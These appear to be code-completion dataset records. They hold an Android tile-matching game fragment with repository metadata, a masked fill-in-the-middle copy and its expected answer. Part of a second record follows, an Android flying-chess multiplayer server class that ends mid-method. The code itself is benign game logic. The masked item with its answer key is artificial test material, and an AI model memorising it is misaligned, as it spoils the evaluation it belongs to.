DataBaseHelper(getContext(),"ranking",null,1); db = myDBHelper.getWritableDatabase(); Time t=new Time(); t.setToNow(); int year = t.year; int month = t.month+1; int day = t.monthDay; String date = year+"/"+month+"/"+day; ContentValues cv = new ContentValues(); cv.put("name",input); cv.put("time",String.valueOf(gameTime)); cv.put("date",date); db.insert("users",null,cv); Intent intent = new Intent(); intent.setAction("top.ysccx.broadcast"); intent.putExtra("name",input); intent.putExtra("time",String.valueOf(gameTime)); getActivity().sendBroadcast(intent); startActivity(new Intent(getActivity(),RankingActivity.class)); } }); } /** * Handler类,异步处理 */ private Handler handler = new Handler() { public void handleMessage(Message msg) { switch (msg.what) { case 0x123: timeTextView.setText("倒计时: " + (200-gameTime)); gameTime++; // 游戏剩余时间减少 // 时间小于0, 游戏失败 if (gameTime > 200) { // 停止计时 stopTimer(); // 更改游戏的状态 isPlaying = false; // 失败后弹出对话框 lostDialog.show(); return; } break; } } }; @Override public void onPause() { super.onPause(); // 暂停游戏 stopTimer(); } @Override public void onResume() { super.onResume(); // 如果处于游戏状态中 if(isPlaying) { startGame(0); } } /** * 触碰游戏区域的处理方法 * * @param event */ private void gameViewTouchDown(MotionEvent event) { Piece[][] pieces = gameService.getPieces(); float touchX = event.getX(); Log.i("X",String.valueOf(touchX)); float touchY = event.getY(); Log.i("Y",String.valueOf(touchY)); Piece currentPiece = gameService.findPiece(touchX, touchY); if (currentPiece == null) return; this.gameView.setSelectedPiece(currentPiece); if (this.selectedPiece == null) { this.selectedPiece = currentPiece; this.gameView.postInvalidate(); return; } // 表示之前已经选择了一个 if (this.selectedPiece != null) { LinkInfo linkInfo = this.gameService.link(this.selectedPiece, currentPiece); if (linkInfo == null) { this.selectedPiece = currentPiece; if(((MainActivity)getActivity()).sound){ soundPool.play(wrong, 0.5f, 0.5f, 0, 0, 1); } this.gameView.postInvalidate(); } else { handleSuccessLink(linkInfo, this.selectedPiece, currentPiece, pieces); } } } /** * 触碰游戏区域的处理方法 * * @param e */ private void gameViewTouchUp(MotionEvent e) { this.gameView.postInvalidate(); } /** * 以gameTime作为剩余时间开始或恢复游戏 * * @param gameTime * 剩余时间 */ private void startGame(int gameTime) { this.gameTime = gameTime; gameView.startGame(); isPlaying = true; if(timer==null) { this.timer = new Timer(); this.timer.schedule(new TimerTask() { public void run() { handler.sendEmptyMessage(0x123); } }, 0, 1000); } this.selectedPiece = null; } /** * 成功连接后处理 * * @param linkInfo * 连接信息 * @param prePiece * 前一个选中方块 * @param currentPiece * 当前选择方块 * @param pieces * 系统中还剩的全部方块 */ private void handleSuccessLink(LinkInfo linkInfo, Piece prePiece, Piece currentPiece, Piece[][] pieces) { // 它们可以相连, 让GamePanel处理LinkInfo this.gameView.setLinkInfo(linkInfo); // 将gameView中的选中方块设为null this.gameView.setSelectedPiece(null); this.gameView.postInvalidate(); // 将两个Piece对象从数组中删除 pieces[prePiece.getIndexX()][prePiece.getIndexY()] = null; pieces[currentPiece.getIndexX()][currentPiece.getIndexY()] = null; // 将选中的方块设置null。 this.selectedPiece = null; if(((MainActivity)getActivity()).sound){ soundPool.play(sdp, 0.5f, 0.5f, 0, 0, 1); } // 判断是否还有剩下的方块, 如果没有, 游戏胜利 if (!this.gameService.hasPieces()) { // 游戏胜利 this.successDialog.show(); // 停止定时器 stopTimer(); // 更改游戏状态 //isPlaying = false; } } /** * 创建对话框的工具方法 * * @param title * 标题 * @param message * 内容 * @param imageResource * 图片 * @return */ private AlertDialog.Builder createDialog(String title, String message, int imageResource) { return new AlertDialog.Builder(getContext()).setTitle(title) .setMessage(message).setIcon(imageResource); } /** * 停止计时 */ private void stopTimer() { // 停止定时器 if(timer!=null) { this.timer.cancel(); this.timer = null; } } }
Ellsom1945/lianliankan
app/src/main/java/top/ysccx/myfirstapp/Tab1Fragment.java
3,057
// 停止计时
line_comment
zh-cn
package top.ysccx.myfirstapp; import android.app.AlertDialog; import android.content.ContentValues; import android.content.DialogInterface; import android.content.Intent; import android.database.sqlite.SQLiteDatabase; import android.graphics.Point; import android.media.AudioAttributes; import android.media.AudioManager; import android.media.SoundPool; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.text.format.Time; import android.util.Log; import android.view.Display; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.MotionEvent; import android.view.SubMenu; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class Tab1Fragment extends Fragment { private GameConf config; private GameService gameService; private GameView gameView; private Button startButton; private TextView timeTextView; private AlertDialog.Builder lostDialog; private AlertDialog.Builder successDialog; private Timer timer; private int gameTime; private boolean isPlaying = false; private Piece selectedPiece = null; private AudioAttributes ad =new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA) .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC).build(); private SoundPool soundPool = new SoundPool.Builder().setMaxStreams(16).setAudioAttributes(ad).build(); private int sdp; private int wrong; private DataBaseHelper myDBHelper; private SQLiteDatabase db; private EditText et; @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.tab1, null); gameView = view.findViewById(R.id.gameView); setHasOptionsMenu(true); timeTextView = view.findViewById(R.id.timeText); timeTextView.setVisibility(View.INVISIBLE); startButton = view.findViewById(R.id.startButton); sdp = soundPool.load(getContext(),R.raw.sdp,1); wrong = soundPool.load(getContext(),R.raw.wrong,1); //Toast.makeText(getContext(), sb.toString(), Toast.LENGTH_SHORT).show(); init(); return view; } public void onCreateOptionsMenu(Menu menu,MenuInflater inflater){ super.onCreateOptionsMenu(menu, inflater); menu.add(1,1,1,"排行榜"); menu.add(1,2,1,"打乱重排"); SubMenu grade = menu.addSubMenu("难度"); grade.setHeaderTitle("选择游戏难度"); grade.add(1,11,2,"简单"); grade.add(1,12,3,"容易"); grade.add(1,13,4,"困难"); grade.add(1,14,5,"地狱"); menu.add(1,3,3,"重新开始"); menu.add(1,4,4,"退出"); } public boolean onOptionsItemSelected(MenuItem item){ int id = item.getItemId(); switch (id){ case 1: //Toast.makeText(getContext(),"打乱重排",Toast.LENGTH_SHORT).show(); Intent intent = new Intent(); intent.setClass(getContext(), RankingActivity.class); startActivity(intent); break; case 2: gameService.shuffle(); gameView.postInvalidate(); break; case 3: if(isPlaying) { startGame(0); } else { Toast.makeText(getContext(), "你还没有开始游戏呢~", Toast.LENGTH_SHORT).show(); } break; case 4: Toast.makeText(getContext(),"不许走,继续玩!",Toast.LENGTH_SHORT).show(); break; case 11: config.setxSize(5); config.setySize(6); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 12: config.setxSize(6); config.setySize(7); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 13: config.setxSize(7); config.setySize(8); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 14: config.setxSize(8); config.setySize(9); config.setBeginImage(); if(isPlaying){ startGame(0); } break; } return super.onOptionsItemSelected(item); } /** * 初始化游戏的方法 */ private void init() { Display display = getActivity().getWindowManager().getDefaultDisplay(); Point size = new Point(); display.getSize(size); int screenWidth = size.x; int screenHeight = size.y; config = new GameConf(7, 8, screenWidth, screenHeight, GameConf.DEFAULT_TIME, getContext()); gameService = new GameServiceImpl(this.config); et = new EditText(getContext()); gameView.setGameService(gameService); gameView.setSelectImage(ImageUtil.getSelectImage(getContext())); startButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View source) { startGame(0); startButton.setVisibility(View.INVISIBLE); gameView.setBackgroundColor(0xFFF9E3); timeTextView.setVisibility(View.VISIBLE); } }); // 为游戏区域的触碰事件绑定监听器 this.gameView.setOnTouchListener(new View.OnTouchListener() { public boolean onTouch(View view, MotionEvent e) { if (e.getAction() == MotionEvent.ACTION_DOWN) { gameViewTouchDown(e); } if (e.getAction() == MotionEvent.ACTION_UP) { gameViewTouchUp(e); } return true; } }); // 初始化游戏失败的对话框 lostDialog = createDialog("GAME OVER", "重新开始", R.drawable.lost) .setPositiveButton("确定", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { startGame(0); } }); // 初始化游戏胜利的对话框 successDialog = createDialog("Success", "你真厉害!请输入你的大名!", R.drawable.success).setView(et).setPositiveButton("确定", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { String input = et.getText().toString(); myDBHelper = new DataBaseHelper(getContext(),"ranking",null,1); db = myDBHelper.getWritableDatabase(); Time t=new Time(); t.setToNow(); int year = t.year; int month = t.month+1; int day = t.monthDay; String date = year+"/"+month+"/"+day; ContentValues cv = new ContentValues(); cv.put("name",input); cv.put("time",String.valueOf(gameTime)); cv.put("date",date); db.insert("users",null,cv); Intent intent = new Intent(); intent.setAction("top.ysccx.broadcast"); intent.putExtra("name",input); intent.putExtra("time",String.valueOf(gameTime)); getActivity().sendBroadcast(intent); startActivity(new Intent(getActivity(),RankingActivity.class)); } }); } /** * Handler类,异步处理 */ private Handler handler = new Handler() { public void handleMessage(Message msg) { switch (msg.what) { case 0x123: timeTextView.setText("倒计时: " + (200-gameTime)); gameTime++; // 游戏剩余时间减少 // 时间小于0, 游戏失败 if (gameTime > 200) { // 停止 <SUF> stopTimer(); // 更改游戏的状态 isPlaying = false; // 失败后弹出对话框 lostDialog.show(); return; } break; } } }; @Override public void onPause() { super.onPause(); // 暂停游戏 stopTimer(); } @Override public void onResume() { super.onResume(); // 如果处于游戏状态中 if(isPlaying) { startGame(0); } } /** * 触碰游戏区域的处理方法 * * @param event */ private void gameViewTouchDown(MotionEvent event) { Piece[][] pieces = gameService.getPieces(); float touchX = event.getX(); Log.i("X",String.valueOf(touchX)); float touchY = event.getY(); Log.i("Y",String.valueOf(touchY)); Piece currentPiece = gameService.findPiece(touchX, touchY); if (currentPiece == null) return; this.gameView.setSelectedPiece(currentPiece); if (this.selectedPiece == null) { this.selectedPiece = currentPiece; this.gameView.postInvalidate(); return; } // 表示之前已经选择了一个 if (this.selectedPiece != null) { LinkInfo linkInfo = this.gameService.link(this.selectedPiece, currentPiece); if (linkInfo == null) { this.selectedPiece = currentPiece; if(((MainActivity)getActivity()).sound){ soundPool.play(wrong, 0.5f, 0.5f, 0, 0, 1); } this.gameView.postInvalidate(); } else { handleSuccessLink(linkInfo, this.selectedPiece, currentPiece, pieces); } } } /** * 触碰游戏区域的处理方法 * * @param e */ private void gameViewTouchUp(MotionEvent e) { this.gameView.postInvalidate(); } /** * 以gameTime作为剩余时间开始或恢复游戏 * * @param gameTime * 剩余时间 */ private void startGame(int gameTime) { this.gameTime = gameTime; gameView.startGame(); isPlaying = true; if(timer==null) { this.timer = new Timer(); this.timer.schedule(new TimerTask() { public void run() { handler.sendEmptyMessage(0x123); } }, 0, 1000); } this.selectedPiece = null; } /** * 成功连接后处理 * * @param linkInfo * 连接信息 * @param prePiece * 前一个选中方块 * @param currentPiece * 当前选择方块 * @param pieces * 系统中还剩的全部方块 */ private void handleSuccessLink(LinkInfo linkInfo, Piece prePiece, Piece currentPiece, Piece[][] pieces) { // 它们可以相连, 让GamePanel处理LinkInfo this.gameView.setLinkInfo(linkInfo); // 将gameView中的选中方块设为null this.gameView.setSelectedPiece(null); this.gameView.postInvalidate(); // 将两个Piece对象从数组中删除 pieces[prePiece.getIndexX()][prePiece.getIndexY()] = null; pieces[currentPiece.getIndexX()][currentPiece.getIndexY()] = null; // 将选中的方块设置null。 this.selectedPiece = null; if(((MainActivity)getActivity()).sound){ soundPool.play(sdp, 0.5f, 0.5f, 0, 0, 1); } // 判断是否还有剩下的方块, 如果没有, 游戏胜利 if (!this.gameService.hasPieces()) { // 游戏胜利 this.successDialog.show(); // 停止定时器 stopTimer(); // 更改游戏状态 //isPlaying = false; } } /** * 创建对话框的工具方法 * * @param title * 标题 * @param message * 内容 * @param imageResource * 图片 * @return */ private AlertDialog.Builder createDialog(String title, String message, int imageResource) { return new AlertDialog.Builder(getContext()).setTitle(title) .setMessage(message).setIcon(imageResource); } /** * 停止计时 */ private void stopTimer() { // 停止定时器 if(timer!=null) { this.timer.cancel(); this.timer = null; } } }
0
30463_40
package com.project.flyingchess.ruler; import android.app.Activity; import android.content.Context; import android.widget.Toast; import com.bluelinelabs.logansquare.LoganSquare; import com.orhanobut.logger.Logger; import com.peak.salut.Callbacks.SalutCallback; import com.peak.salut.Callbacks.SalutDataCallback; import com.peak.salut.Callbacks.SalutDeviceCallback; import com.peak.salut.Salut; import com.peak.salut.SalutDataReceiver; import com.peak.salut.SalutDevice; import com.peak.salut.SalutServiceData; import com.project.flyingchess.R; import com.project.flyingchess.activity.ConfigueActivity; import com.project.flyingchess.eventbus.UpdateDiceEvent; import com.project.flyingchess.eventbus.UpdateGameInfoEvent; import com.project.flyingchess.eventbus.UpdateTitleEvent; import com.project.flyingchess.model.Message; import com.project.flyingchess.model.Step; import com.project.flyingchess.other.Constants; import com.project.flyingchess.player.ClientPlayer; import com.project.flyingchess.player.Player; import com.project.flyingchess.utils.Color; import com.project.flyingchess.widget.ChessBoard; import org.greenrobot.eventbus.EventBus; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Random; /** * Created by hunnny on 2016/4/11. */ public class ServerRuler implements IRuler,SalutDataCallback { private Context mContext; private Player localPlayer; private Player currentPlayer; private List<Player> mList = new ArrayList<>();; private List<Player> mWinnerList = new ArrayList<>(); private List<Player> mEyeList = new ArrayList<>(); private List<Integer> mColorList = new ArrayList<>();//用来随机生成颜色的~? private static final int FINISH_NUM = 4; private HashMap<Player,Integer> mFinishMap = new HashMap<>(); private static int random; private List<Step> stepList = new ArrayList<>();//记录棋局的行走情况 private Salut mSalut; private boolean isStart = false; private boolean isEnd = false; private boolean isYourTurn = false;//骰子~ public ServerRuler(Context mContext, Player currentPlayer) { this.mContext = mContext; this.currentPlayer = currentPlayer; init(); } @Override public void init() { localPlayer = currentPlayer; mList.add(currentPlayer); currentPlayer.setRuler(this); //mColorList.add(Color.BLUE); mColorList.add(Color.YELLOW); mColorList.add(Color.RED); mColorList.add(Color.GREEN); if (!Salut.isWiFiEnabled(mContext)) { Salut.enableWiFi(mContext); } SalutDataReceiver mDataReceiver = new SalutDataReceiver((Activity) mContext, this); SalutServiceData mServiceData = new SalutServiceData("server", PORT, mList.get(0).getName()); mSalut = new Salut(mDataReceiver, mServiceData, new SalutCallback() { @Override public void call() { Logger.d("The mobile cannot support the Wifi~connect~ T>T"); Toast.makeText(mContext,"The mobile cannot support the Wifi~connect~ T>T",Toast.LENGTH_SHORT).show(); } }); mSalut.startNetworkService(new SalutDeviceCallback() { @Override public void call(SalutDevice salutDevice) { Logger.d("startNetworkService, onWifiDeviceConnected, device:" + salutDevice.deviceName); Toast.makeText(mContext, "startNetworkService, onWifiDeviceConnected, device:" + salutDevice.deviceName, Toast.LENGTH_SHORT).show(); if(mColorList.size() != 0){ ClientPlayer player = new ClientPlayer(salutDevice.deviceName, mColorList.remove(randomGen.nextInt(mColorList.size())), salutDevice); switch (player.getColor()){ case Color.BLUE: player.setName(ConfigueActivity.PLAYER_1); break; case Color.YELLOW: player.setName(ConfigueActivity.PLAYER_2); break; case Color.RED: player.setName(ConfigueActivity.PLAYER_3); break; case Color.GREEN: player.setName(ConfigueActivity.PLAYER_4); break; } player.setRuler(ServerRuler.this); mList.add(player); }else{ ClientPlayer player = new ClientPlayer(salutDevice.deviceName, Color.NONE, salutDevice); player.setRuler(ServerRuler.this); mEyeList.add(player); } EventBus.getDefault().post(new UpdateGameInfoEvent("比赛人数:" + mList.size() + "观看人数:" + mEyeList.size())); } }, new SalutCallback() { @Override public void call() { Logger.d("startNetworkService, init success"); Toast.makeText(mContext,"startNetworkService, init success~",Toast.LENGTH_SHORT).show(); } }, new SalutCallback() { @Override public void call() { Logger.d("startNetworkService, init failed"); Toast.makeText(mContext,"startNetworkService, init failed~",Toast.LENGTH_SHORT).show(); } }); } @Override public void uninit(){ Toast.makeText(mContext,"uninit~",Toast.LENGTH_SHORT).show(); currentPlayer.exit();//离开的时候给个消息通知下呗。 if (mSalut.isRunningAsHost) { mSalut.stopNetworkService(false); } else { mSalut.unregisterClient(false); } } @Override public void start() { Logger.d("The Game is Start~"); for(Player player:mList){ player.start(player.getColor()); } for(Player player:mWinnerList){ player.start(player.getColor()); } for(Player player:mEyeList){ player.start(Color.NONE); } currentPlayer.onYourTurn(true,currentPlayer.getName() + "摇骰子~啦");//hiahiahia~我也觉得自己好白痴。为毛能写这么久 } @Override public void restart() { stepList.clear(); currentPlayer = localPlayer; mList.addAll(mWinnerList); mWinnerList.clear(); for(Player player:mList){ player.restart(); } for(Player player:mEyeList){ player.restart(); } isStart = true; currentPlayer.onYourTurn(true,currentPlayer.getName() + "摇骰子~啦");//hiahiahia~我也觉得自己好白痴。为毛能写这么久 } public void myTurn(Boolean isTurn,String content){//第一次写~灰常尴尬。为了满足我的强迫症,足足琢磨了半天。hiahiahia~ if(isTurn) isYourTurn = true;//大兄弟是你的机会鸟~ EventBus.getDefault().post(new UpdateDiceEvent(0)); EventBus.getDefault().post(new UpdateTitleEvent(content)); } public void nextPalyer() { if(currentPlayer == null){ currentPlayer = mList.get(0); return; } int currentIndex = mList.indexOf(currentPlayer) + 1; if(mWinnerList.size() != 0) mList.remove(mWinnerList.get(mWinnerList.size()-1)); if(mList.size() <= 1) { Logger.d(mWinnerList.toString()); EventBus.getDefault().post(mWinnerList); isStart = false; return; } Logger.d(currentIndex + ": current"); currentPlayer = (currentIndex != mList.size() ? mList.get(currentIndex) : mList.get(0)); } private final Random randomGen = new Random(); @Override public void dice() { if(isStart){ if(isYourTurn){ random = randomGen.nextInt(6) + 1; if (isAllCanNotFly(currentPlayer.getColor())){ //通知下一位选手准备~ EventBus.getDefault().post(new UpdateDiceEvent(random)); EventBus.getDefault().post(new UpdateTitleEvent(currentPlayer.getName() + "摇到的点数为:" + random)); for(Player player:mList){ if(player != currentPlayer)//就自己不调用~ player.think(random); } for(Player player:mWinnerList){ player.think(random); } for(Player player:mEyeList){ player.think(random); } nextPalyer(); for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } }else{//正常的逻辑~ for(Player player:mList){ player.think(random); } for(Player player:mWinnerList){ player.think(random); } for(Player player:mEyeList){ player.think(random); } } isYourTurn = false; } } } public boolean isAllCanNotFly(int color) { if (color == Color.BLUE) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(1) == ChessBoard.TAG_BLUE_BASE_1) && (ChessBoard.planeNum.get(2) == ChessBoard.TAG_BLUE_BASE_2) && (ChessBoard.planeNum.get(3) == ChessBoard.TAG_BLUE_BASE_3) && (ChessBoard.planeNum.get(4) == ChessBoard.TAG_BLUE_BASE_4)) { return true; } } if (color == Color.YELLOW) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(5) == ChessBoard.TAG_YELLOW_BASE_1) && (ChessBoard.planeNum.get(6) == ChessBoard.TAG_YELLOW_BASE_2) && (ChessBoard.planeNum.get(7) == ChessBoard.TAG_YELLOW_BASE_3) && (ChessBoard.planeNum.get(8) == ChessBoard.TAG_YELLOW_BASE_4)) { return true; } } if (color == Color.RED) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(9) == ChessBoard.TAG_RED_BASE_1) && (ChessBoard.planeNum.get(10) == ChessBoard.TAG_RED_BASE_2) && (ChessBoard.planeNum.get(11) == ChessBoard.TAG_RED_BASE_3) && (ChessBoard.planeNum.get(12) == ChessBoard.TAG_RED_BASE_4)) { return true; } } if (color == Color.GREEN) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(13) == ChessBoard.TAG_GREEN_BASE_1) && (ChessBoard.planeNum.get(14) == ChessBoard.TAG_GREEN_BASE_2) && (ChessBoard.planeNum.get(15) == ChessBoard.TAG_GREEN_BASE_3) && (ChessBoard.planeNum.get(16) == ChessBoard.TAG_GREEN_BASE_4)) { return true; } } return false; } @Override public void handle(int planeTag, int theSelectedPlaneTag) { //TODO:这里写的是...逻辑上的控制~反馈给player~让它自己去控制棋盘~这样做是因为...想把联网的和本地的写一块~ //这里的效果其实就是~。所以的棋子都..放下了他们邪恶的棋子~ Step step = getStep(planeTag, theSelectedPlaneTag); //random = 0; //EventBus.getDefault().post(new UpdateDiceEvent(0)); stepList.add(step); for (Player player:mList){ player.putChess(step); } for(Player player:mWinnerList){ player.putChess(step); } for(Player player:mEyeList){ player.putChess(step); } if(!isEnd){ if (random != Constants.CAN_FLY) { //摇到6就奖励一次//这个逻辑我很满意~233 nextPalyer(); } for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } }else{//如果结束的话~就给大家发送结束的~通知呗。就是这个样子~ for(Player player:mList){ player.end(mWinnerList); } for(Player player:mWinnerList){ player.end(mWinnerList); } for(Player player:mEyeList){ player.end(mWinnerList); } } } private Step getStep(int planeTag, int theSelectedPlaneTag) { Step step = null; switch (currentPlayer.getColor()){ case Color.BLUE: if (theSelectedPlaneTag == ChessBoard.TAG_BLUE_PRE) { //假如在起飞点 if ((ChessBoard.TAG_BLUE_START + random - ChessBoard.TAG_BLUE_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_BLUE_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_BLUE_START + random); } } else { //不在起飞点 if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_BLUE_CORNER) { //在外环途中 if (theSelectedPlaneTag + random < ChessBoard.TAG_BLUE_CORNER) { //加上点数都还在外环 if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_DOUBLE_JUMP_START1) { //第一种连跳 step = new Step(planeTag, ChessBoard.TAG_BLUE_DOUBLE_JUMP_END1); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_DOUBLE_JUMP_START2) { //第二种连跳 step = new Step(planeTag, ChessBoard.TAG_BLUE_DOUBLE_JUMP_END2); } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_BLUE_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_CORNER) { step = new Step(planeTag, ChessBoard.TAG_BLUE_CORNER); } else { step = new Step(planeTag, ChessBoard.TAG_BLUE_CORNER_START + theSelectedPlaneTag + random - ChessBoard.TAG_BLUE_CORNER); } } else{ if(theSelectedPlaneTag + random <= ChessBoard.TAG_BLUE_END){ step = new Step(planeTag,theSelectedPlaneTag + random); if(theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_END){ mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if(mFinishMap.get(currentPlayer) == FINISH_NUM){ currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else step = new Step(planeTag,ChessBoard.TAG_BLUE_END * 2 - (theSelectedPlaneTag + random)); } } break; case Color.YELLOW: if (theSelectedPlaneTag == ChessBoard.TAG_YELLOW_PRE) { //假如在起飞点 if ((ChessBoard.TAG_YELLOW_START + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_YELLOW_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_YELLOW_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_DOUBLE_JUMP_START1) { //先解决特殊的几个点 step = new Step(planeTag, ChessBoard.TAG_YELLOW_DOUBLE_JUMP_END1); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE - 1) { step = new Step(planeTag, 3); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == 3) { step = new Step(planeTag, 7); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_YELLOW_CORNER) { if (theSelectedPlaneTag + random < ChessBoard.TAG_YELLOW_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_CORNER) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_CORNER + ChessBoard.TAG_YELLOW_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_YELLOW_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_YELLOW_END * 2 - (theSelectedPlaneTag + random)); } } } break; case Color.GREEN: if (theSelectedPlaneTag == ChessBoard.TAG_GREEN_PRE) { //假如在起飞点 if ((ChessBoard.TAG_GREEN_START + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_GREEN_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_GREEN_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_GREEN_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE - 3) { step = new Step(planeTag, 1); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START1) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END1); } else if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END2); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_GREEN_CORNER) { if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random < ChessBoard.TAG_GREEN_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_CORNER) { step = new Step(planeTag, ChessBoard.TAG_GREEN_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_CORNER + ChessBoard.TAG_GREEN_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_GREEN_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_GREEN_END * 2 - (theSelectedPlaneTag + random)); } } } break; case Color.RED: if (theSelectedPlaneTag == ChessBoard.TAG_RED_PRE) { //假如在起飞点 if ((ChessBoard.TAG_RED_START + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_RED_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_RED_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_RED_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_DOUBLE_JUMP_START1) { //先解决特殊的几个点 step = new Step(planeTag, ChessBoard.TAG_RED_DOUBLE_JUMP_END1); } 